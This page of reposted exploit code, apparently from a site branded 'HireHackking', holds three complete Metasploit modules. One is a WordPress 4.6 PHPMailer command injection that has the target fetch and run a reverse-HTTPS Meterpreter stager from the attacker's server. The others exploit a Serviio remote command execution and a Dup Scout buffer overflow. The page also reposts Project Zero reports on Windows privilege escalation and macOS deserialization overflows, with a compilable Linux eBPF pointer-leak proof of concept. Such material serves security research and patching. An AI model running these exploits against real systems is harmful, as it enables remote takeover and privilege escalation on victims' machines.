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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = AverageRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'                => 'WordPress PHPMailer Host Header Command Injection',
      'Description'         => %q{
        This module exploits a command injection vulnerability in WordPress
        version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer,
        a mail-sending library that is bundled with WordPress.

        A valid WordPress username is required to exploit the vulnerability.
        Additionally, due to the altered Host header, exploitation is limited to
        the default virtual host, assuming the header isn't mangled in transit.

        If the target is running Apache 2.2.32 or 2.4.24 and later, the server
        may have HttpProtocolOptions set to Strict, preventing a Host header
        containing parens from passing through, making exploitation unlikely.
      },
      'Author'              => [
        'Dawid Golunski', # Vulnerability discovery
        'wvu'             # Metasploit module
      ],
      'References'          => [
        ['CVE', '2016-10033'],
        ['URL', 'https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html'],
        ['URL', 'http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html'],
        ['URL', 'https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions']
      ],
      'DisclosureDate'      => 'May 3 2017',
      'License'             => MSF_LICENSE,
      'Platform'            => 'linux',
      'Arch'                => [ARCH_X86, ARCH_X64],
      'Privileged'          => false,
      'Targets'             => [
        ['WordPress 4.6 / Exim', {}]
      ],
      'DefaultTarget'       => 0,
      'DefaultOptions'      => {
        'PAYLOAD'           => 'linux/x64/meterpreter_reverse_https',
        'CMDSTAGER::FLAVOR' => 'wget'
      },
      'CmdStagerFlavor'     => ['wget', 'curl']
    ))

    register_options([
      OptString.new('USERNAME', [true, 'WordPress username', 'admin'])
    ])

    register_advanced_options([
      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
    ])

    deregister_options('VHOST', 'URIPATH')
  end

  def check
    if (version = wordpress_version)
      version = Gem::Version.new(version)
    else
      return CheckCode::Safe
    end

    vprint_status("WordPress #{version} installed at #{full_uri}")

    if version <= Gem::Version.new('4.6')
      CheckCode::Appears
    else
      CheckCode::Detected
    end
  end

  def exploit
    if check == CheckCode::Safe
      print_error("Is WordPress installed at #{full_uri} ?")
      return
    end

    # Since everything goes through strtolower(), we need lowercase
    print_status("Generating #{cmdstager_flavor} command stager")
    @cmdstager = generate_cmdstager(
      'Path'   => "/#{Rex::Text.rand_text_alpha_lower(8)}",
      :temp    => datastore['WritableDir'],
      :file    => File.basename(cmdstager_path),
      :nospace => true
    ).join(';')

    print_status("Generating and sending Exim prestager")
    generate_prestager.each do |command|
      vprint_status("Sending #{command}")
      send_request_payload(command)
    end
  end

  #
  # Exploit methods
  #

  # Absolute paths are required for prestager commands due to execve(2)
  def generate_prestager
    prestager = []

    # This is basically sh -c `wget` implemented using Exim string expansions
    # Badchars we can't encode away: \ for \n (newline) and : outside strings
    prestager << '/bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}' \
      "{${readsocket{inet:#{srvhost_addr}:#{srvport}}" \
      "{get #{get_resource} http/1.0$value$value}}}}}}"

    # CmdStager should rm the file, but it blocks on the payload, so we do it
    prestager << "/bin/rm -f #{cmdstager_path}"
  end

  def send_request_payload(command)
    res = send_request_cgi(
      'method'        => 'POST',
      'uri'           => wordpress_url_login,
      'headers'       => {
        'Host'        => generate_exim_payload(command)
      },
      'vars_get'      => {
        'action'      => 'lostpassword'
      },
      'vars_post'     => {
        'user_login'  => datastore['USERNAME'],
        'redirect_to' => '',
        'wp-submit'   => 'Get New Password'
      }
    )

    if res && !res.redirect?
      if res.code == 200 && res.body.include?('login_error')
        fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
      elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
        fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
      else
        fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
      end
    end

    res
  end

  def generate_exim_payload(command)
    exim_payload  = Rex::Text.rand_text_alpha(8)
    exim_payload << "(#{Rex::Text.rand_text_alpha(8)} "
    exim_payload << "-be ${run{#{encode_exim_payload(command)}}}"
    exim_payload << " #{Rex::Text.rand_text_alpha(8)})"
  end

  # We can encode away the following badchars using string expansions
  def encode_exim_payload(command)
    command.gsub(/[\/ :]/,
      '/' => '${substr{0}{1}{$spool_directory}}',
      ' ' => '${substr{10}{1}{$tod_log}}',
      ':' => '${substr{13}{1}{$tod_log}}'
    )
  end

  #
  # Utility methods
  #

  def cmdstager_flavor
    datastore['CMDSTAGER::FLAVOR']
  end

  def cmdstager_path
    @cmdstager_path ||=
      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
  end

  #
  # Override methods
  #

  # Return CmdStager on first request, payload on second
  def on_request_uri(cli, request)
    if @cmdstager
      print_good("Sending #{@cmdstager}")
      send_response(cli, @cmdstager)
      @cmdstager = nil
    else
      print_good("Sending payload #{datastore['PAYLOAD']}")
      super
    end
  end

end
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Restlet-Framework/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Serviio Media Server checkStreamUrl Command Execution',
      'Description'    => %q{
        This module exploits an unauthenticated remote command execution vulnerability
        in the console component of Serviio Media Server versions 1.4 to 1.8 on
        Windows operating systems.

        The console service (on port 23423 by default) exposes a REST API which
        which does not require authentication.

        The 'action' API endpoint does not sufficiently sanitize user-supplied data
        in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is
        used in a call to cmd.exe resulting in execution of arbitrary commands.

        This module has been tested successfully on Serviio Media Server versions
        1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>', # Discovery and exploit
          'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '41961'],
          ['PACKETSTORM', '142387'],
          ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php'],
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3094']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'May 3 2017',
      'DefaultTarget'  => 0))
    register_options([ Opt::RPORT(23423) ])
  end

  def check
    res = execute_command('')

    unless res
      vprint_status 'Connection failed'
      return CheckCode::Unknown
    end

    if res.headers['Server'] !~ /Serviio/
      vprint_status 'Target is not a Serviio Media Server'
      return CheckCode::Safe
    end

    if res.headers['Server'] !~ /Windows/
      vprint_status 'Target operating system is not vulnerable'
      return CheckCode::Safe
    end

    if res.code != 200 || res.body !~ %r{<errorCode>603</errorCode>}
      vprint_status 'Unexpected reply'
      return CheckCode::Safe
    end

    if res.headers['Server'] =~ %r{Serviio/(1\.[4-8])}
      vprint_status "#{peer} Serviio Media Server version #{$1}"
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def execute_command(cmd, opts = {})
    data = { 'name' => 'checkStreamUrl', 'parameter' => ['VIDEO', "\" &#{cmd}&"] }
    send_request_cgi('uri'    => normalize_uri(target_uri.path, 'rest', 'action'),
                     'method' => 'POST',
                     'ctype'  => 'application/json',
                     'data'   => data.to_json)
  end

  def exploit
    fail_with(Failure::NotVulnerable, 'Target is not vulnerable') unless check == CheckCode::Appears
    execute_cmdstager(:temp => '.', :linemax => 8000)
  end
end
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Dup Scout Enterprise GET Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability
        in the web interface of Dup Scout Enterprise v9.5.14, caused by
        improper bounds checking of the request path in HTTP GET requests
        sent to the built-in web server. This module has been tested
        successfully on Windows 7 SP1 x86.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'vportal',	     # Vulnerability discovery and PoC
          'Daniel Teixeira'  # Metasploit module
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x09\x0a\x0d\x20\x26",
          'Space'      => 500
        },
      'Targets'        =>
        [
          [ 'Dup Scout Enterprise v9.5.14',
            {
              'Offset' => 2488,
              'Ret'    => 0x10050ff3  # POP # POP # RET [libspp.dll]
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Mar 15 2017',
      'DefaultTarget'  => 0))
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/'
    )

    if res && res.code == 200
      version = res.body[/Dup Scout Enterprise v[^<]*/]
      if version
        vprint_status("Version detected: #{version}")
        if version =~ /9\.5\.14/
          return Exploit::CheckCode::Appears
        end
        return Exploit::CheckCode::Detected
      end
    else
      vprint_error('Unable to determine due to a HTTP connection timeout')
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def exploit

    eggoptions = {
      checksum: true,
      eggtag: rand_text_alpha(4, payload_badchars)
    }

    hunter, egg = generate_egghunter(
      payload.encoded,
      payload_badchars,
      eggoptions
    )

    sploit =  rand_text_alpha(target['Offset'])
    sploit << generate_seh_record(target.ret)
    sploit << hunter
    sploit << make_nops(10)
    sploit << egg
    sploit << rand_text_alpha(5500)

    print_status('Sending request...')

    send_request_cgi(
      'method' => 'GET',
      'uri'    => sploit
    )
  end
end
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1112

Windows: Running Object Table Register ROTFLAGS_ALLOWANYCLIENT EoP
Platform: Windows 10 10586/14393 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
By setting an appropriate AppID it’s possible for a normal user process to set a global ROT entry. This can be abused to elevate privileges.

Description:

NOTE: I’m not sure which part of this chain to really report. As far as I can tell it’s pretty much all by design and fixing the initial vector seems difficult. Perhaps this is only a bug which can be fixed to prevent sandbox escapes?

When registering an object in the ROT the default is to only expose that registration to the same user identity on the same desktop/window station. This includes preventing the same user at different ILs (such as between sandbox and normal user) from seeing the same registration. However it could be imagined that you might want to register an entry for all users/contexts so IRunningObjectTable::Register takes a grfFlags parameter with the value  ROTFLAGS_ALLOWANYCLIENT which allows the ROT entry to be exposed to all users. 

The description of this flag indicates it can only be used if the COM process is a Local Service or a RunAs application. In fact there’s an explicit ROTFlags value for the AppID which would grant the privilege to a normal application. Quick testing proves this to be correct, a “normal” application cannot expose the ROT entry to any client as RPCSS does a check that the calling process is allowed to expose the entry. However there are two clear problems with the check. Creating a RunAs COM object in the current session would typically run at the same privilege level as the caller, therefore an application which wanted to abuse this feature could inject code into that process. Secondly while it’s not possible to register a per-user COM object which specifies a RunAs AppID it’s possible to explicitly set the AppID when calling CoInitializeSecurity (either via the GUID or by naming your program to match one which maps to the correct AppID).

Therefore in the current implementation effectively any process, including sandboxed ones should be able to register a global ROT entry. What can we do with this? The ROT is mainly used for OLE duties, for example Word and Visual Studio register entries for each document/project open. It would be nice not to rely on this, so instead I’ll abuse another OLE component, which we’ve seen before, the fact that LoadTypeLib will fall back to a moniker if it can’t find the type library file specified.

If the file loading fails then LoadTypeLib will effectively call MkParseDisplayName on the passed in string. One of the things MPDN does is try and create a file moniker with the string passed in as an argument. File Monikers have an interesting feature, the COM libraries will check if there’s a registered ROT entry for this file moniker already present, if it is instead of creating a new object it will call IRunningObjectTable::GetObject instead when binding. So as we can register a ROT entry for any user in any context we can provide our own implementation of ITypeLib running inside our process, by registering it against the path to the type library any other process which tries to open that library would instead get our spoofed one, assuming we can force the file open to fail.

This is the next key part, looking at the LoadTypeLib implementation the code calls FindTypeLib if this function fails the code will fall back to the moniker route. There’s two opportunities here, firstly CreateFile is called on the path, we could cause this to fail by opening the file with no sharing mode, in theory it should fail. However in practice it doesn’t most type libraries are in system location, if you don’t have the possibility of write permission on the file the OS automatically applies FILE_SHARE_READ which makes it impossible to lock the file in its entirety. Also some TLBs are stored inside a DLL which is then used so this route is out. Instead the other route is more promising, VerifyIsExeOrTlb is called once the file is open to check the type of file to parse. This function tries to load the first 64 bytes and checks for magic signatures. We can cause the read to fail by using the LockFile API to put an exclusive lock on that part of the file. This also has the advantage that it doesn’t affect file mappings so will also work with loaded DLLs. 

We now can cause any user of a type library to get redirected to our “fake” one without abusing impersonation/symbolic link tricks. How can we use this to our advantage? The final trick is to abuse again the auto-generation of Stubs/Proxies from automation compatible interfaces. If we can get a more privileged process to use our type library when creating a COM stub we can cause a number of memory safety issues such as type confusion, arbitrary memory read/writes and extending the vtable to call arbitrary functions. This is an extremely powerful primitive, as long as you can find a more privileged process which uses a dual automation interface. For example the FlashBroker which is installed on every Win8+ machine is intentionally allowed to be created by sandboxed IE/Edge and uses dual interfaces with auto-generated Stubs. We could abuse for example the BrokerPrefSetExceptionDialogSize and BrokerPrefGetExceptionDialogSize to do arbitrary memory writes. This all works because the stub creation has no was of ensuring that the actual server implementation matches the generated stub (at least without full symbols) so it will blindly marshal pointers or call outside of the object's vtable.

Proof of Concept:

I’ve provided a PoC as a C# project. You need to compile it first. It fakes out the Windows Search Service’s type library to modify the IGatherManagerAdmin2::GetBackoffReason method so that instead of marshaling a pointer to an integer for returning the caller can specify an arbitrary pointer value. When the method on the server side completes it will try and write a value to this address which will cause a Write AV. The Windows Search service would be ideal for abuse but many of the functions seem to require Administrator access to call. That’s not to say you couldn’t convert this into a full working exploit but I didn’t.

1) Compile the C# project. It should be compiled as a 64 bit executable.
2) Restart the Windows Search service just to ensure it hasn’t cached the stub previously. This probably isn’t necessary but just to be certain.
3) Attach a debugger to SearchIndexer.exe to catch the crash.
4) Execute the PoC as a normal user (do not run under the VSHOST as the CoInitializeSecurity call will fail). You need to pass the path to the provided mssitlb.tlb file which has been modified appropriately.
5) The service should crash trying to write a value to address 0x12345678

Crash Dump:

0:234> r
rax=0000015ee04665a0 rbx=0000015ee0466658 rcx=0000015ee0466658
rdx=0000000000000000 rsi=0000000000000004 rdi=0000000000000000
rip=00007fff80e3a75d rsp=00000036541fdae0 rbp=00000036541fdb20
 r8=00000036541fd868  r9=0000015ee3bb50b0 r10=0000000000000000
r11=0000000000000246 r12=0000015ee3c02988 r13=00000036541fe1c0
r14=0000000012345678 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
MSSRCH!CGatheringManager::GetBackoffReason+0x8d:
00007fff`80e3a75d 418936          mov     dword ptr [r14],esi ds:00000000`12345678=????????
0:234> k
 # Child-SP          RetAddr           Call Site
00 00000036`541fdae0 00007fff`b416d533 MSSRCH!CGatheringManager::GetBackoffReason+0x8d
01 00000036`541fdb10 00007fff`b413b0d0 RPCRT4!Invoke+0x73
02 00000036`541fdb60 00007fff`b2fa479a RPCRT4!NdrStubCall2+0x430
03 00000036`541fe180 00007fff`b3853c93 combase!CStdStubBuffer_Invoke+0x9a [d:\th\com\combase\ndr\ndrole\stub.cxx @ 1446]
04 00000036`541fe1c0 00007fff`b305ccf2 OLEAUT32!CUnivStubWrapper::Invoke+0x53
05 (Inline Function) --------`-------- combase!InvokeStubWithExceptionPolicyAndTracing::__l7::<lambda_b8ffcec6d47a5635f374132234a8dd15>::operator()+0x42 [d:\th\com\combase\dcomrem\channelb.cxx @ 1805]
06 00000036`541fe210 00007fff`b3001885 combase!ObjectMethodExceptionHandlingAction<<lambda_b8ffcec6d47a5635f374132234a8dd15> >+0x72 [d:\th\com\combase\dcomrem\excepn.hxx @ 91]
07 (Inline Function) --------`-------- combase!InvokeStubWithExceptionPolicyAndTracing+0x9e [d:\th\com\combase\dcomrem\channelb.cxx @ 1808]
08 00000036`541fe280 00007fff`b3006194 combase!DefaultStubInvoke+0x275 [d:\th\com\combase\dcomrem\channelb.cxx @ 1880]
09 (Inline Function) --------`-------- combase!SyncStubCall::Invoke+0x1b [d:\th\com\combase\dcomrem\channelb.cxx @ 1934]
0a (Inline Function) --------`-------- combase!SyncServerCall::StubInvoke+0x1b [d:\th\com\combase\dcomrem\servercall.hpp @ 736]
0b (Inline Function) --------`-------- combase!StubInvoke+0x297 [d:\th\com\combase\dcomrem\channelb.cxx @ 2154]
0c 00000036`541fe4a0 00007fff`b3008b47 combase!ServerCall::ContextInvoke+0x464 [d:\th\com\combase\dcomrem\ctxchnl.cxx @ 1568]
0d (Inline Function) --------`-------- combase!CServerChannel::ContextInvoke+0x83 [d:\th\com\combase\dcomrem\ctxchnl.cxx @ 1458]
0e (Inline Function) --------`-------- combase!DefaultInvokeInApartment+0x9e [d:\th\com\combase\dcomrem\callctrl.cxx @ 3438]
0f 00000036`541fe770 00007fff`b3007ccd combase!AppInvoke+0x8a7 [d:\th\com\combase\dcomrem\channelb.cxx @ 1618]
10 00000036`541fe8a0 00007fff`b300b654 combase!ComInvokeWithLockAndIPID+0xb2d [d:\th\com\combase\dcomrem\channelb.cxx @ 2686]
11 00000036`541feb30 00007fff`b40fd433 combase!ThreadInvoke+0x1724 [d:\th\com\combase\dcomrem\channelb.cxx @ 6954]
12 00000036`541fedc0 00007fff`b40fbed8 RPCRT4!DispatchToStubInCNoAvrf+0x33
13 00000036`541fee10 00007fff`b40fcf04 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x288
14 00000036`541fef10 00007fff`b40f922d RPCRT4!RPC_INTERFACE::DispatchToStubWithObject+0x404
15 00000036`541fefb0 00007fff`b40f9da9 RPCRT4!LRPC_SCALL::DispatchRequest+0x35d
16 00000036`541ff090 00007fff`b40f64dc RPCRT4!LRPC_SCALL::HandleRequest+0x829
17 00000036`541ff180 00007fff`b40f48c9 RPCRT4!LRPC_SASSOCIATION::HandleRequest+0x45c
18 00000036`541ff200 00007fff`b411eaca RPCRT4!LRPC_ADDRESS::ProcessIO+0xb29
19 00000036`541ff350 00007fff`b422e490 RPCRT4!LrpcIoComplete+0x10a
1a 00000036`541ff3f0 00007fff`b422bc66 ntdll!TppAlpcpExecuteCallback+0x360
1b 00000036`541ff4a0 00007fff`b34b8102 ntdll!TppWorkerThread+0x916
1c 00000036`541ff8b0 00007fff`b425c5b4 KERNEL32!BaseThreadInitThunk+0x22
1d 00000036`541ff8e0 00000000`00000000 ntdll!RtlUserThreadStart+0x34

Expected Result:
Not doing what ever it did.

Observed Result:
It did it!


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42021.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1172

Using lldb inside a simple hello_world app for iOS we can see that there are over 600 classes which we could get deserialized
(for persistance for example.)

The TextInput framework which is loaded has a class TIKeyboardLayout. The initWithCoder: implementation has this code:

(this is the x86 code, the framework is there on both platforms.)

  mov     r15, cs:selRef_decodeBytesForKey_returnedLength_
  lea     rdx, cfstr_Frames ; "frames"
  lea     rcx, [rbp+var_40]       <-- length of serialized binary data
  mov     rdi, r14
  mov     rsi, r15
  call    r13 ; _objc_msgSend
  mov     r12, rax                <-- pointer to serialized binary data
  mov     rdx, [rbp+var_40]
  shr     rdx, 3                  <-- divide length by 8
  mov     rax, cs:_OBJC_IVAR_$_TIKeyboardLayout__count ; uint64_t _count;
  mov     [rbx+rax], rdx
  mov     rsi, cs:selRef_ensureFrameCapacity_
  mov     rdi, rbx
  call    r13 ; _objc_msgSend     <-- will calloc(len/8, 8) and assign to _frames
  mov     rax, cs:_OBJC_IVAR_$_TIKeyboardLayout__frames ; struct _ShortRect *_frames;
  mov     rdi, [rbx+rax]  ; void *
  mov     rdx, [rbp+var_40] ; size_t     <-- original length not divided by 8
  mov     rsi, r12        ; void *
  call    _memcpy                        <-- can memcpy up to 7 bytes more than was allocated

This method reads binary data from the NSCoder, it divides the length by 8 and passes that to ensureFrameCapacity
which passes it to calloc with an item size of 8. This has the effect of mallocing the original size rounded down
to the nearest multiple of 8.

The memcpy then uses the original length (not rounded down) causing a controlled heap buffer overflow.

I've created a serialized TIKeyboardLayout with a frames value which is "A"*0x107.

Use ASAN to see the crash clearly (see provided compiler invokation.)

tested on MacOS 10.12.3 (16D32)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42051.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1170

Via NSUnarchiver we can read NSBuiltinCharacterSet with a controlled serialized state.
It reads a controlled int using decodeValueOfObjCType:"i" then either passes it to
CFCharacterSetGetPredefined or uses it directly to manipulate __NSBuiltinSetTable.
Neither path has any bounds checking and the index is used to maniupulate c arrays of pointers.

Attached python script will generate a serialized NSBuiltinCharacterSet with a value of 42
for the character set identifier.

tested on MacOS 10.12.3 (16D32)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42050.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1168

The dump today has this list of iOS stuff:
https://wikileaks.org/ciav7p1/cms/page_13205587.html

Reading through this sounded interesting:

"""
Buffer Overflow caused by deserialization parsing error in Foundation library 

Sending a crafted NSArchiver object to any process that calls NSArchive unarchive method will result in
a buffer overflow, allowing for ROP.
"""

So I've spent all day going through initWithCoder: implementations looking for heap corruption :)

The unarchiving of NSCharacterSet will call NSCharacterSetCFCharacterSetCreateWithBitmapRepresentation

If we pass a large bitmap we can get to the following call multiple times:

    while (length > 1) {
      annexSet = (CFMutableCharacterSetRef)__CFCSetGetAnnexPlaneCharacterSet(cset, *(bytes++));

Here's that function (from the quite old CF code, but the disassm still matches)

CF_INLINE CFCharacterSetRef __CFCSetGetAnnexPlaneCharacterSet(CFCharacterSetRef cset, int plane) {
    __CFCSetAllocateAnnexForPlane(cset, plane);
    if (!__CFCSetAnnexBitmapGetPlane(cset->_annex->_validEntriesBitmap, plane)) {
        cset->_annex->_nonBMPPlanes[plane - 1] = (CFCharacterSetRef)CFCharacterSetCreateMutable(CFGetAllocator(cset));
        __CFCSetAnnexBitmapSetPlane(cset->_annex->_validEntriesBitmap, plane);
    }
    return cset->_annex->_nonBMPPlanes[plane - 1];
}

note the interesting [plane - 1], however if we just call this with plane = 0 first
 __CFCSetAllocateAnnexForPlane will set the _nonBMPPlanes to NULL rather than allocating it

but if we supply a large enough bitmap such that we can call __CFCSetGetAnnexPlaneCharacterSet twice,
passing 1 the first time and 0 the second time then we can reach:

  cset->_annex->_nonBMPPlanes[plane - 1] = (CFCharacterSetRef)CFCharacterSetCreateMutable(CFGetAllocator(cset));

with plane = 0 leading to writing a pointer to semi-controlled data one qword below the heap allocation _nonBMPPlanes.

This PoC is just a crasher but it looks pretty exploitable.

The wikileaks dump implies that this kind of bug can be exploited both via IPC and as a persistence mechanism where apps
serialize objects to disk. If I come up with a better PoC for one of those avenues I'll attach it later.

(note that the actual PoC object is in the other file (longer_patched.bin)

tested on MacOS 10.12.3 (16D32)

################################################################################

A few notes on the relevance of these bugs:

NSXPC uses the "secure" version of NSKeyedArchiver where the expected types have to be declared upfront by a message receiver. This restricts the NSXPC attack surface for these issues to either places where overly broad base classes are accepted (like NSObject) or to just those services which accept classes with vulnerable deserializers.

There are also other services which use NSKeyedArchives in the "insecure" mode (where the receiver doesn't supply a class whitelist.) Some regular (not NSXPC) xpc services use these. In those cases you could use these bugs to escape sandboxes/escalate privileges.

Lots of apps serialize application state to NSKeyedArchives and don't use secure coding providing an avenue for memory-corruption based persistence on iOS.

Futhermore there seem to be a bunch of serialized archives on the iPhone which you can touch via the services exposed by lockdownd (over the USB cable) providing an avenue for "local" exploitation (jumping from a user's desktop/laptop to the phone.) The host computer would need to have a valid pairing record to do this without prompts.

For example the following files are inside the AFC jail:

egrep -Rn NSKeyedArchiver *
Binary file Downloads/downloads.28.sqlitedb matches
Binary file Downloads/downloads.28.sqlitedb-wal matches
Binary file PhotoData/AlbumsMetadata/0F31509F-271A-45BA-9E1F-C6F7BC4A537F.foldermetadata matches
Binary file PhotoData/FacesMetadata/NVP_HIDDENFACES.hiddenfacemetadata matches

00006890 | 24 76 65 72 73 69 6F 6E 58 24 6F 62 6A 65 63 74 | $versionX$object
000068A0 | 73 59 24 61 72 63 68 69 76 65 72 54 24 74 6F 70 | sY$archiverT$top


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42049.zip
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1251

When the eBPF verifier (kernel/bpf/verifier.c) runs in verbose mode,
it dumps all processed instructions to a user-accessible buffer in
human-readable form using print_bpf_insn(). For instructions with
class BPF_LD and mode BPF_IMM, it prints the raw 32-bit value:

  } else if (class == BPF_LD) {
    if (BPF_MODE(insn->code) == BPF_ABS) {
      [...]
    } else if (BPF_MODE(insn->code) == BPF_IND) {
      [...]
    } else if (BPF_MODE(insn->code) == BPF_IMM) {
      verbose("(%02x) r%d = 0x%x\n",
              insn->code, insn->dst_reg, insn->imm);
    } else {
      [...]
    }
  } else if (class == BPF_JMP) {

This is done in do_check(), after replace_map_fd_with_map_ptr() has
executed. replace_map_fd_with_map_ptr() stores the lower half of a raw
pointer in all instructions with class BPF_LD, mode BPF_IMM and size
BPF_DW (map references).

So when verbose verification is performed on a program with a map
reference, the lower half of the pointer to the map becomes visible to
the user:

$ cat bpf_pointer_leak_poc.c
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/bpf.h>
#include <err.h>
#include <stdio.h>
#include <stdint.h>

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_LD | BPF_DW | BPF_IMM,         \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = (__u32) (IMM) }),                  \
  ((struct bpf_insn) {                          \
    .code  = 0, /* zero is reserved opcode */   \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_MOV64_IMM(DST, IMM)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_EXIT_INSN()                         \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_EXIT,                \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = 0 })

#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))

int bpf_(int cmd, union bpf_attr *attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int main(void) {
  union bpf_attr create_map_attrs = {
    .map_type = BPF_MAP_TYPE_ARRAY,
    .key_size = 4,
    .value_size = 1,
    .max_entries = 1
  };
  int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
  if (mapfd == -1)
    err(1, "map create");

  struct bpf_insn insns[] = {
    BPF_LD_MAP_FD(BPF_REG_0, mapfd),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN()
  };
  char verifier_log[10000];
  union bpf_attr create_prog_attrs = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = ARRSIZE(insns),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"",
    .log_level = 1,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };
  int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
  if (progfd == -1)
    err(1, "prog load");

  puts(verifier_log);
}

/*
$ gcc -o bpf_pointer_leak_poc bpf_pointer_leak_poc.c -Wall -std=gnu99 -I~/linux/usr/include
$ ./bpf_pointer_leak_poc 
0: (18) r0 = 0xd9da1c80
2: (b7) r0 = 0
3: (95) exit
processed 3 insns

Tested with kernel 4.11.
*/
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1164

This is an issue that allows unentitled root to read kernel frame
pointers, which might be useful in combination with a kernel memory
corruption bug.

By design, the syscall stack_snapshot_with_config() permits unentitled
root to dump information about all user stacks and kernel stacks.
While a target thread, along with the rest of the system, is frozen,
machine_trace_thread64() dumps its kernel stack.
machine_trace_thread64() walks up the kernel stack using the chain of
saved RBPs. It dumps the unslid kernel text pointers together with
unobfuscated frame pointers.

The attached PoC dumps a stackshot into the file stackshot_data.bin
when executed as root. The stackshot contains data like this:

00000a70  de 14 40 00 80 ff ff ff  a0 be 08 77 80 ff ff ff  |..@........w....|
00000a80  7b b8 30 00 80 ff ff ff  20 bf 08 77 80 ff ff ff  |{.0..... ..w....|
00000a90  9e a6 30 00 80 ff ff ff  60 bf 08 77 80 ff ff ff  |..0.....`..w....|
